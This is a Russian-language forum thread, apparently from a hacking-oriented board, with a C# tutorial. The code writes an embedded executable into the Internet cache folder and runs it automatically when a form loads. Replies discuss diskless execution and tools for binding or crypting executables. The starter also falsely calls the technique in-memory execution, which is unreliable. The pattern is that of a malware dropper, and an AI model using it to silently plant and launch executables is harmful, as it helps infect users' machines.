Загрузка...

Running Files from Project Resources

Thread in C# created by xZist_inactive Dec 29, 2017. 1628 views

  1. xZist_inactive
    xZist_inactive Topic starter Dec 29, 2017 Banned 9 Dec 22, 2017
    Привет всем, с вами команда [xZCode-Team]
    Сегодня мы покажем как запускать файлы из ресурсов проекта.
    Для начала добавим наш файл в ресурсы у меня это 1.exe
    [IMG]
    Далее идем в код формы/консоли
    Прописываем параметр
    Прописываем статическую переменную строку которая указывает на наш файл
    public static String file_exe = Environment.GetFolderPath(Environment.SpecialFolder.InternetCache) + "\\1.exe";

    А далее в функции Run
    Прописываем следующее
    Code

    public void run()
    {
    FileStream fs = new FileStream(file_exe, FileMode.Create);
    fs.Write(Properties.Resources._1, 0, Properties.Resources._1.Length);
    fs.Close();
    Process.Start(file_exe);
    }
    В конце так как я делал все на форме, у нас получится что то типа
    Code

    public static String file_exe = Environment.GetFolderPath(Environment.SpecialFolder.InternetCache) + "\\1.exe";
    public void run()
    {
    FileStream fs = new FileStream(file_exe, FileMode.Create);
    fs.Write(Properties.Resources._1, 0, Properties.Resources._1.Length);
    fs.Close();
    Process.Start(file_exe);
    }
    private void Form1_Load(object sender, EventArgs e)
    {
    run();
    }

    Всем спасибо, думаю данная информация будет полезна!
     
  2. renameduser_110248
    Эх... Лучше бы показал как запускать приложения без сохранения на диск
     
  3. xZist_inactive
    xZist_inactive Topic starter Dec 29, 2017 Banned 9 Dec 22, 2017
    Это запуск в памяти, запуск из ресурсов частично является этим запуском, так как файл не где не сохраняется
     
  4. renameduser_110248
    Ну... Ты как бы создаёшь файл, потом в него записываешь байты, закрываешь файл, и запускаешь.
     
  5. FortniteAccounts_inactive568562
    FortniteAccounts_inactive568562 Sep 2, 2018 Продаю аккаунты "Fortnite" и Читы 0 Aug 26, 2018
    А если например я работаю с папкой как для нее?
     
  6. renameduser_649137
    renameduser_649137 Dec 1, 2018 Banned 14 Nov 5, 2018
    Google в помощь и C# для ****еров или joinerov лучше не использовать - для этого есть Delphi или C++(1 вариант лучше)=)
     
Top
Loading...